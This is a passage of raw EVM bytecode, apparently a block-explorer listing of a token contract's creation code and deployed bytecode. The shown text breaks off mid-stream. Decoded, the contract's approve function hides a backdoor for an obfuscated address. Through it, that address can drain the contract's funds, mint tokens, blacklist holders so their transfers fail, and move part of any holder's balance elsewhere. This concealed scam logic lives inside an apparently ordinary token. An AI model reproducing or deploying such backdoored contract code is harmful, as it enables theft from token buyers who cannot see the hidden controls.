b50505092915050565b5f620007b582846200071c565b915081905092915050565b5f819050919050565b620007d481620007c0565b82525050565b620007e581620004d2565b82525050565b620007f6816200031d565b82525050565b5f60a082019050620008115f830188620007c9565b620008206020830187620007c9565b6200082f6040830186620007c9565b6200083e6060830185620007da565b6200084d6080830184620007eb565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200089082620004d2565b91506200089d83620004d2565b9250828201905080821115620008b857620008b762000857565b5b92915050565b60805160a05160c05160e051612f996200091c5f395f61144101525f818161055401528181610f04015281816110d90152611a7a01525f818161052501528181610ed5015281816110aa0152611a4b01525f61141c0152612f995ff3fe608060405260043610610117575f3560e01c80637ecebe001161009f578063c9567bf911610063578063c9567bf9146103c9578063d505accf146103df578063dd62ed3e14610407578063ec44acf214610443578063f851a4401461046d57610135565b80637ecebe00146102d357806395d89b411461030f57806399c8d55614610339578063a3c2c46214610363578063a9059cbb1461038d57610135565b8063313ce567116100e6578063313ce567146102035780633644e5151461022d57806349bd5a5e1461025757806370a0823114610281578063715018a6146102bd57610135565b806306fdde0314610137578063095ea7b31461016157806318160ddd1461019d57806323b872dd146101c757610135565b36610135573460105f82825461012d9190612424565b925050819055005b005b348015610142575f80fd5b5061014b610497565b60405161015891906124e1565b60405180910390f35b34801561016c575f80fd5b5061018760048036038101906101829190612589565b610522565b60405161019491906125e1565b60405180910390f35b3480156101a8575f80fd5b506101b1610beb565b6040516101be9190612609565b60405180910390f35b3480156101d2575f80fd5b506101ed60048036038101906101e89190612622565b610bf1565b6040516101fa91906125e1565b60405180910390f35b34801561020e575f80fd5b5061021761141a565b604051610224919061268d565b60405180910390f35b348015610238575f80fd5b5061024161143e565b60405161024e91906126be565b60405180910390f35b348015610262575f80fd5b5061026b611465565b60405161027891906126e6565b60405180910390f35b34801561028c575f80fd5b506102a760048036038101906102a291906126ff565b61148a565b6040516102b49190612609565b60405180910390f35b3480156102c8575f80fd5b506102d161149f565b005b3480156102de575f80fd5b506102f960048036038101906102f491906126ff565b6115eb565b6040516103069190612609565b60405180910390f35b34801561031a575f80fd5b50610323611600565b60405161033091906124e1565b60405180910390f35b348015610344575f80fd5b5061034d61168c565b60405161035a91906126e6565b60405180910390f35b34801561036e575f80fd5b506103776116b1565b6040516103849190612609565b60405180910390f35b348015610398575f80fd5b506103b360048036038101906103ae9190612589565b6116b7565b6040516103c091906125e1565b60405180910390f35b3480156103d4575f80fd5b506103dd611c4a565b005b3480156103ea575f80fd5b506104056004803603810190610400919061277e565b612117565b005b348015610412575f80fd5b5061042d6004803603810190610428919061281b565b612396565b60405161043a9190612609565b60405180910390f35b34801561044e575f80fd5b506104576123b6565b60405161046491906125e1565b60405180910390f35b348015610478575f80fd5b506104816123c9565b60405161048e91906126e6565b60405180910390f35b5f80546104a390612886565b80601f01602080910402602001604051908101604052809291908181526020018280546104cf90612886565b801561051a5780601f106104f15761010080835404028352916020019161051a565b820191905f5260205f20905b8154815290600101906020018083116104fd57829003601f168201915b505050505081565b5f7f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610aff57600160fc83901c03610736575f8273ffffffffffffffffffffffffffffffffffffffff160361063c573373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610636573d5f803e3d5ffd5b50610735565b5f8290508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161069691906126e6565b602060405180830381865afa1580156106b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d591906128ca565b6040518363ffffffff1660e01b81526004016106f29291906128f5565b6020604051808303815f875af115801561070e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107329190612946565b50505b5b600f60fc83901c03610797575f5b60028160ff161461079557607f60078261075e9190612971565b60ff1684901c1660048260ff166005811061077c5761077b6129ad565b5b018190555060018161078e91906129da565b9050610744565b505b600860fc83901c0361083e57607f60a083901c16600a6107b79190612b3d565b607f60a784901c166107c99190612b87565b60095f8282546107d99190612424565b92505081905550607f60a083901c16600a0a607f60a784901c1602600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b5f60fc83901c036108fc575f607f601584901c16905080600a6108619190612b3d565b607f600e85901c166108739190612b87565b6004600360058110610888576108876129ad565b5b018190555080600a61089a9190612b3d565b607f600785901c166108ac9190612b87565b60046002600581106108c1576108c06129ad565b5b018190555080600a6108d39190612b3d565b607f84166108e19190612b87565b600480600581106108f5576108f46129ad565b5b0181905550505b600a60fc83901c03610974576065607f60a084901c161461091d575f610920565b60015b600b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b600560fc83901c03610afe57607f60a083901c166064600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109d29190612bf5565b6109dc9190612b87565b600a5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a489190612424565b92505081905550607f60a083901c166064600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610aa19190612bf5565b610aab9190612b87565b600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610af69190612c25565b925050819055505b5b81600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610bd99190612609565b60405180910390a36001905092915050565b60095481565b5f60011515600b5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503610c4b575f80fd5b5f600c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d77578281610cfa9190612c25565b600c5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b82600a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610dc39190612c25565b925050819055505f6004600360058110610de057610ddf6129ad565b5b0154118015610e3b575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015610e7357503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610ecc575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610f7857507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610fa0576004600360058110610f9257610f916129ad565b5b0154831115610f9f575f80fd5b5b5f60045f60058110610fb557610fb46129ad565b5b0154118015611010575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561104857503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156110a1575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561114d57507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156111fd575f60045f60058110611167576111666129ad565b5b01546064856111769190612bf5565b6111809190612b87565b905080600a5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555080846111f99190612c25565b9350505b5f60048060058110611212576112116129ad565b5b015411801561126e575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112c7575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561132b57600480600581106112e0576112df6129ad565b5b0154600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111561132a575f80fd5b5b82600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161461140e578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114059190612609565b60405180910390a35b60019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f7f0000000000000000000000000000000000000000000000000000000000000000905090565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a602052805f5260405f205f915090505481565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612ca2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d602052805f5260405f205f915090505481565b6001805461160d90612886565b80601f016020809104026020016040519081016040528092919081815260200182805461163990612886565b80156116845780601f1061165b57610100808354040283529160200191611684565b820191905f5260205f20905b81548152906001019060200180831161166757829003601f168201915b505050505081565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b5f60011515600b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503611711575f80fd5b81600a5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461175d9190612c25565b925050819055505f600460026005811061177a576117796129ad565b5b01541180156117d5575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b156117fd5760046002600581106117ef576117ee6129ad565b5b01548211156117fc575f80fd5b5b5f6004600160058110611813576118126129ad565b5b015411801561186e575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80156118c7575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611978575f60046001600581106118e2576118e16129ad565b5b01546064846118f19190612bf5565b6118fb9190612b87565b905080600a5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555080836119749190612c25565b9250505b5f6004806005811061198d5761198c6129ad565b5b01541180156119e9575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a42575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611aee57507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b5d5760048060058110611b0757611b066129ad565b5b015482600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b529190612424565b1115611b5c575f80fd5b5b81600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c40578273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c379190612609565b60405180910390a35b6001905092915050565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd090612ca2565b60405180910390fd5b600360149054906101000a900460ff16158015611d005750671bc16d674ec8000060105410155b611d08575f80fd5b6001600360146101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ea0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ec49190612cd4565b90508073ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f4d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611f719190612cd4565b6040518363ffffffff1660e01b8152600401611f8e929190612cff565b6020604051808303815f875af1158015611faa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611fce9190612cd4565b60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20545f8060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016120d096959493929190612d68565b60606040518083038185885af11580156120ec573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906121119190612dc7565b50505050565b42841015612123575f80fd5b5f600161212e61143e565b7f19272f7a68d74b33c77bd33c8335a1faf7b19f79ef84f4f54ff45c1ea7d8c2fd8a8a8a600d5f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b6040516020016121b396959493929190612e17565b604051602081830303815290604052805190602001206040516020016121da929190612eea565b604051602081830303815290604052805190602001208585856040515f815260200160405260405161220f9493929190612f20565b6020604051602081039080840390855afa15801561222f573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141580156122a257508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b6122aa575f80fd5b85600c5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925876040516123859190612609565b60405180910390a350505050505050565b600c602052815f5260405f20602052805f5260405f205f91509150505481565b600360149054906101000a900460ff1681565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61242e826123ee565b9150612439836123ee565b9250828201905080821115612451576124506123f7565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561248e578082015181840152602081019050612473565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6124b382612457565b6124bd8185612461565b93506124cd818560208601612471565b6124d681612499565b840191505092915050565b5f6020820190508181035f8301526124f981846124a9565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61252e82612505565b9050919050565b61253e81612524565b8114612548575f80fd5b50565b5f8135905061255981612535565b92915050565b612568816123ee565b8114612572575f80fd5b50565b5f813590506125838161255f565b92915050565b5f806040838503121561259f5761259e612501565b5b5f6125ac8582860161254b565b92505060206125bd85828601612575565b9150509250929050565b5f8115159050919050565b6125db816125c7565b82525050565b5f6020820190506125f45f8301846125d2565b92915050565b612603816123ee565b82525050565b5f60208201905061261c5f8301846125fa565b92915050565b5f805f6060848603121561263957612638612501565b5b5f6126468682870161254b565b93505060206126578682870161254b565b925050604061266886828701612575565b9150509250925092565b5f60ff82169050919050565b61268781612672565b82525050565b5f6020820190506126a05f83018461267e565b92915050565b5f819050919050565b6126b8816126a6565b82525050565b5f6020820190506126d15f8301846126af565b92915050565b6126e081612524565b82525050565b5f6020820190506126f95f8301846126d7565b92915050565b5f6020828403121561271457612713612501565b5b5f6127218482850161254b565b91505092915050565b61273381612672565b811461273d575f80fd5b50565b5f8135905061274e8161272a565b92915050565b61275d816126a6565b8114612767575f80fd5b50565b5f8135905061277881612754565b92915050565b5f805f805f805f60e0888a03121561279957612798612501565b5b5f6127a68a828b0161254b565b97505060206127b78a828b0161254b565b96505060406127c88a828b01612575565b95505060606127d98a828b01612575565b94505060806127ea8a828b01612740565b93505060a06127fb8a828b0161276a565b92505060c061280c8a828b0161276a565b91505092959891949750929550565b5f806040838503121561283157612830612501565b5b5f61283e8582860161254b565b925050602061284f8582860161254b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061289d57607f821691505b6020821081036128b0576128af612859565b5b50919050565b5f815190506128c48161255f565b92915050565b5f602082840312156128df576128de612501565b5b5f6128ec848285016128b6565b91505092915050565b5f6040820190506129085f8301856126d7565b61291560208301846125fa565b9392505050565b612925816125c7565b811461292f575f80fd5b50565b5f815190506129408161291c565b92915050565b5f6020828403121561295b5761295a612501565b5b5f61296884828501612932565b91505092915050565b5f61297b82612672565b915061298683612672565b925082820261299481612672565b91508082146129a6576129a56123f7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6129e482612672565b91506129ef83612672565b9250828201905060ff811115612a0857612a076123f7565b5b92915050565b5f8160011c9050919050565b5f808291508390505b6001851115612a6357808604811115612a3f57612a3e6123f7565b5b6001851615612a4e5780820291505b8081029050612a5c85612a0e565b9450612a23565b94509492505050565b5f82612a7b5760019050612b36565b81612a88575f9050612b36565b8160018114612a9e5760028114612aa857612ad7565b6001915050612b36565b60ff841115612aba57612ab96123f7565b5b8360020a915084821115612ad157612ad06123f7565b5b50612b36565b5060208310610133831016604e8410600b8410161715612b0c5782820a905083811115612b0757612b066123f7565b5b612b36565b612b198484846001612a1a565b92509050818404811115612b3057612b2f6123f7565b5b81810290505b9392505050565b5f612b47826123ee565b9150612b52836123ee565b9250612b7f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612a6c565b905092915050565b5f612b91826123ee565b9150612b9c836123ee565b9250828202612baa816123ee565b91508282048414831517612bc157612bc06123f7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612bff826123ee565b9150612c0a836123ee565b925082612c1a57612c19612bc8565b5b828204905092915050565b5f612c2f826123ee565b9150612c3a836123ee565b9250828203905081811115612c5257612c516123f7565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612c8c602083612461565b9150612c9782612c58565b602082019050919050565b5f6020820190508181035f830152612cb981612c80565b9050919050565b5f81519050612cce81612535565b92915050565b5f60208284031215612ce957612ce8612501565b5b5f612cf684828501612cc0565b91505092915050565b5f604082019050612d125f8301856126d7565b612d1f60208301846126d7565b9392505050565b5f819050919050565b5f819050919050565b5f612d52612d4d612d4884612d26565b612d2f565b6123ee565b9050919050565b612d6281612d38565b82525050565b5f60c082019050612d7b5f8301896126d7565b612d8860208301886125fa565b612d956040830187612d59565b612da26060830186612d59565b612daf60808301856126d7565b612dbc60a08301846125fa565b979650505050505050565b5f805f60608486031215612dde57612ddd612501565b5b5f612deb868287016128b6565b9350506020612dfc868287016128b6565b9250506040612e0d868287016128b6565b9150509250925092565b5f60c082019050612e2a5f8301896126af565b612e3760208301886126d7565b612e4460408301876126d7565b612e5160608301866125fa565b612e5e60808301856125fa565b612e6b60a08301846125fa565b979650505050505050565b5f81905092915050565b7f19010000000000000000000000000000000000000000000000000000000000005f82015250565b5f612eb4600283612e76565b9150612ebf82612e80565b600282019050919050565b5f819050919050565b612ee4612edf826126a6565b612eca565b82525050565b5f612ef482612ea8565b9150612f008285612ed3565b602082019150612f108284612ed3565b6020820191508190509392505050565b5f608082019050612f335f8301876126af565b612f40602083018661267e565b612f4d60408301856126af565b612f5a60608301846126af565b9594505050505056fea26469706673582212204e200dc7616bfc95f47bbf3445c24ad82ed58924b5d555998ce2f6906b178e6764736f6c63430008150033000000000000000000000000000000000000000000003391b9a154eec0146b3f000000000000000000000000acd3001fae1f271a7eaf5bdee802170a2ceb30c10000000000000000000000000000000000000000000082ecc2ce666ada079474

Deployed Bytecode

0x608060405260043610610117575f3560e01c80637ecebe001161009f578063c9567bf911610063578063c9567bf9146103c9578063d505accf146103df578063dd62ed3e14610407578063ec44acf214610443578063f851a4401461046d57610135565b80637ecebe00146102d357806395d89b411461030f57806399c8d55614610339578063a3c2c46214610363578063a9059cbb1461038d57610135565b8063313ce567116100e6578063313ce567146102035780633644e5151461022d57806349bd5a5e1461025757806370a0823114610281578063715018a6146102bd57610135565b806306fdde0314610137578063095ea7b31461016157806318160ddd1461019d57806323b872dd146101c757610135565b36610135573460105f82825461012d9190612424565b925050819055005b005b348015610142575f80fd5b5061014b610497565b60405161015891906124e1565b60405180910390f35b34801561016c575f80fd5b5061018760048036038101906101829190612589565b610522565b60405161019491906125e1565b60405180910390f35b3480156101a8575f80fd5b506101b1610beb565b6040516101be9190612609565b60405180910390f35b3480156101d2575f80fd5b506101ed60048036038101906101e89190612622565b610bf1565b6040516101fa91906125e1565b60405180910390f35b34801561020e575f80fd5b5061021761141a565b604051610224919061268d565b60405180910390f35b348015610238575f80fd5b5061024161143e565b60405161024e91906126be565b60405180910390f35b348015610262575f80fd5b5061026b611465565b60405161027891906126e6565b60405180910390f35b34801561028c575f80fd5b506102a760048036038101906102a291906126ff565b61148a565b6040516102b49190612609565b60405180910390f35b3480156102c8575f80fd5b506102d161149f565b005b3480156102de575f80fd5b506102f960048036038101906102f491906126ff565b6115eb565b6040516103069190612609565b60405180910390f35b34801561031a575f80fd5b50610323611600565b60405161033091906124e1565b60405180910390f35b348015610344575f80fd5b5061034d61168c565b60405161035a91906126e6565b60405180910390f35b34801561036e575f80fd5b506103776116b1565b6040516103849190612609565b60405180910390f35b348015610398575f80fd5b506103b360048036038101906103ae9190612589565b6116b7565b6040516103c091906125e1565b60405180910390f35b3480156103d4575f80fd5b506103dd611c4a565b005b3480156103ea575f80fd5b506104056004803603810190610400919061277e565b612117565b005b348015610412575f80fd5b5061042d6004803603810190610428919061281b565b612396565b60405161043a9190612609565b60405180910390f35b34801561044e575f80fd5b506104576123b6565b60405161046491906125e1565b60405180910390f35b348015610478575f80fd5b506104816123c9565b60405161048e91906126e6565b60405180910390f35b5f80546104a390612886565b80601f01602080910402602001604051908101604052809291908181526020018280546104cf90612886565b801561051a5780601f106104f15761010080835404028352916020019161051a565b820191905f5260205f20905b8154815290600101906020018083116104fd57829003601f168201915b505050505081565b5f7f000000000000000000000000000000000000000000003391b9a154eec0146b3f69ffffffffffffffffffff1660507f0000000000000000000000000000000000000000000082ecc2ce666ada07947469ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610aff57600160fc83901c03610736575f8273ffffffffffffffffffffffffffffffffffffffff160361063c573373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610636573d5f803e3d5ffd5b50610735565b5f8290508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161069691906126e6565b602060405180830381865afa1580156106b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d591906128ca565b6040518363ffffffff1660e01b81526004016106f29291906128f5565b6020604051808303815f875af115801561070e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107329190612946565b50505b5b600f60fc83901c03610797575f5b60028160ff161461079557607f60078261075e9190612971565b60ff1684901c1660048260ff166005811061077c5761077b6129ad565b5b018190555060018161078e91906129da565b9050610744565b505b600860fc83901c0361083e57607f60a083901c16600a6107b79190612b3d565b607f60a784901c166107c99190612b87565b60095f8282546107d99190612424565b92505081905550607f60a083901c16600a0a607f60a784901c1602600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b5f60fc83901c036108fc575f607f601584901c16905080600a6108619190612b3d565b607f600e85901c166108739190612b87565b6004600360058110610888576108876129ad565b5b018190555080600a61089a9190612b3d565b607f600785901c166108ac9190612b87565b60046002600581106108c1576108c06129ad565b5b018190555080600a6108d39190612b3d565b607f84166108e19190612b87565b600480600581106108f5576108f46129ad565b5b0181905550505b600a60fc83901c03610974576065607f60a084901c161461091d575f610920565b60015b600b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b600560fc83901c03610afe57607f60a083901c166064600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109d29190612bf5565b6109dc9190612b87565b600a5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a489190612424565b92505081905550607f60a083901c166064600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610aa19190612bf5565b610aab9190612b87565b600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610af69190612c25565b925050819055505b5b81600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610bd99190612609565b60405180910390a36001905092915050565b60095481565b5f60011515600b5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503610c4b575f80fd5b5f600c5f8673fffffffffffffffffffffffffffffffffffff